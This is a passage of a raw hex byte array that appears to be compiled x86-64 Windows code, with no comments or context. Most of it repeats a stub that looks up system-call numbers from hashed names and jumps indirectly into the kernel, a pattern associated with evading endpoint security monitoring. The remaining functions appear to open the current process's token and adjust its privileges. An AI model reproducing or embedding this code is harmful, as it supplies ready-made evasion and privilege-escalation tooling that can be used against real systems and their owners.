9,0x4C,0x24,0x20,0x48,0xB9,0x8A,0xF2,0x3D,0xE6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x4B,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE0,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x3A,0x3D,0xA8,0x32,0x51,0x48,0x83,0xEC,0x28,0xE8,0xF4,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x89,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x5C,0x59,0xF3,0x6A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x9D,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x32,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x6E,0x23,0x30,0xE8,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x43,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD8,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0x55,0x3F,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0xEC,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x81,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x04,0x0E,0xDA,0x6B,0x51,0x48,0x83,0xEC,0x28,0xE8,0x95,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x2A,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x10,0xDE,0xB1,0x12,0x51,0x48,0x83,0xEC,0x28,0xE8,0x3E,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD3,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x20,0x35,0x89,0x10,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE7,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x7C,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xB5,0x3A,0x1B,0x38,0x51,0x48,0x83,0xEC,0x28,0xE8,0x90,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x25,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x9C,0xD0,0xC6,0x20,0x51,0x48,0x83,0xEC,0x28,0xE8,0x39,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xCE,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x3C,0xF4,0x9E,0xBA,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xDF,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x74,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x44,0x8D,0x66,0xCB,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x85,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x1A,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x8F,0x59,0x39,0x13,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2E,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xC3,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xBA,0x75,0xEB,0xB6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD4,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x69,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xEF,0xD9,0xB0,0x1B,0x51,0x48,0x83,0xEC,0x28,0xE8,0x7D,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x12,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE7,0x84,0xCD,0x0A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x26,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBB,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x37,0x04,0x96,0x36,0x51,0x48,0x83,0xEC,0x28,0xE8,0xCF,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x64,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x79,0x5C,0x2D,0x7A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x78,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x0D,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x8F,0xCC,0x1A,0xCA,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x1E,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xB3,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x19,0xD6,0x26,0x0C,0x51,0x48,0x83,0xEC,0x28,0xE8,0xC7,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x5C,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xAB,0x61,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0x37,0x01,0x00,0x00,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x41,0xB8,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xAD,0x61,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0x09,0x01,0x00,0x00,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0x48,0x83,0x7D,0x18,0x00,0x74,0x06,0x83,0x7D,0x20,0x00,0x75,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0xB3,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x75,0x25,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0x4C,0x8D,0x45,0x10,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xA8,0xED,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x60,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x46,0x8B,0x45,0xF4,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x8B,0x10,0x48,0x8B,0x45,0x10,0x8B,0x4D,0x28,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x5B,0x00,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x0C,0x83,0x7D,0xF8,0x00,0x74,0x06,0x83,0x7D,0x28,0x00,0x75,0x1E,0x83,0x7D,0xFC,0x00,0x74,0x1B,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0x20,0x72,0xB2,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF8,0x00,0x74,0x15,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xC6,0xEC,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xB8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x08,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0x8B,0x45,0xC0,0x89,0x45,0xE0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x80,0x66,0x0F,0x7E,0x45,0x90,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x1E,0x60,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE9,0xB0,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1E,0xC1,0xA5,0x11,0x48,0x89,0xC1,0xE8,0xF7,0xAE,0xFF,0xFF,0x48,0x89,0x45,0xC8,0x48,0x83,0x7D,0xC8,0x00,0x0F,0x84,0x15,0x03,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x85,0xC0,0x75,0x29,0xC7,0x45,0xE4,0x01,0x00,0x00,0x00,0x4C,0x8D,0x45,0x20,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x2A,0xEC,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x88,0xE6,0x02,0x00,0x00,0x8B,0x45,0xC0,0x89,0x45,0xE0,0x8B,0x45,0xC0,0x89,0xC3,0x48,0x8B,0x05,0xD6,0xCC,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCA,0xCC,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xB2,0x02,0x00,0x00,0x44,0x8B,0x45,0xC0,0x48,0x8B,0x45,0x20,0x48,0x8B,0x4D,0xF0,0x48,0x8D,0x55,0xC0,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3A,0xF1,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x79,0x56,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x3A,0x00,0x00,0x48,0x8B,0x05,0x5B,0xCC,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x53,0xCC,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xDC,0x23,0x00,0x00,0xC0,0x0F,0x84,0x44,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xDC,0x00,0x0F,0x88,0x23,0x02,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xE9,0xFD,0x01,0x00,0x00,0x48,0x8B,0x4D,0xF0,0x8B,0x55,0xFC,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xC8,0x48,0x8B,0x50,0x04,0x48,0x89,0x55,0xB0,0x8B,0x40,0x0C,0x89,0x45,0xB8,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xBC,0x48,0x8D,0x45,0xB0,0x4C,0x8B,0x55,0xC8,0x49,0x89,0xD1,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0x41,0xFF,0xD2,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x85,0xC1,0x01,0x00,0x00,0x48,0x8B,0x05,0xAB,0xCB,0x00,0x00,0xFF,0xD0,0x83,0xF8,0x7A,0x0F,0x85,0xAF,0x01,0x00,0x00,0x8B,0x45,0xBC,0x83,0xC0,0x01,0x89,0x45,0xBC,0x8B,0x45,0xBC,0x89,0xC0,0x48,0x8D,0x1C,0x00,0x48,0x8B,0x05,0x8F,0xCB,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x83,0xCB,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x74,0x01,0x00,0x00,0x48,0x8D,0x4D,0xBC,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xB0,0x4C,0x8B,0x55,0xC8,0x49,0x89,0xC9,0x49,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0x41,0xFF,0xD2,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x49,0x01,0x00,0x00,0x48,0x8B,0x55,0x28,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0x48,0x8B,0x05,0xBA,0xCB,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0xB2,0x00,0x00,0x00,0xC7,0x45,0xD4,0x01,0x00,0x00,0x00,0xC7,0x45,0x80,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xB0,0x48,0x89,0x45,0x88,0x8B,0x45,0xB8,0x89,0x45,0x90,0x48,0x8B,0x45,0x20,0x48,0x8D,0x4D,0xC4,0x48,0x8D,0x55,0x80,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xDC,0xF6,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x79,0x0C,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xE9,0xE9,0x00,0x00,0x00,0x8B,0x45,0xC4,0x85,0xC0,0x75,0x60,0x83,0x7D,0x30,0x00,0x74,0x5A,0xC7,0x45,0xA0,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xB0,0x48,0x89,0x45,0xA4,0xC7,0x45,0xAC,0x02,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xA0,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x10,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC5,0xEA,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x88,0x88,0x00,0x00,0x00,0xC7,0x45,0xC4,0x01,0x00,0x00,0x00,0x90,0xEB,0x7F,0x48,0x83,0x7D,0xE8,0x00,0x74,0x4D,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x3B,0x39,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCB,0x38,0x00,0x00,0x48,0x8B,0x05,0x3C,0xCA,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x34,0xCA,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x45,0xFC,0x01,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x39,0x45,0xFC,0x0F,0x82,0xF4,0xFD,0xFF,0xFF,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x49,0x48,0x83,0x7D,0xF0,0x00,0x74,0x42,0x8B,0x45,0xC0,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0x38,0x00,0x00,0x48,0x8B,0x05,0xC1,0xC9,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB9,0xC9,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x54,0x48,0x83,0x7D,0xE8,0x00,0x74,0x4D,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x65,0x38,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF5,0x37,0x00,0x00,0x48,0x8B,0x05,0x66,0xC9,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5E,0xC9,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0xE4,0x00,0x74,0x15,0x48,0x8B,0x45,0x20,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0x07,0xE8,0xFF,0xFF,0x8B,0x45,0xC4,0x48,0x81,0xC4,0xB8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x89,0xC2,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0xF8,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x56,0x37,0x00,0x00,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0x8B,0x45,0x10,0x8B,0x50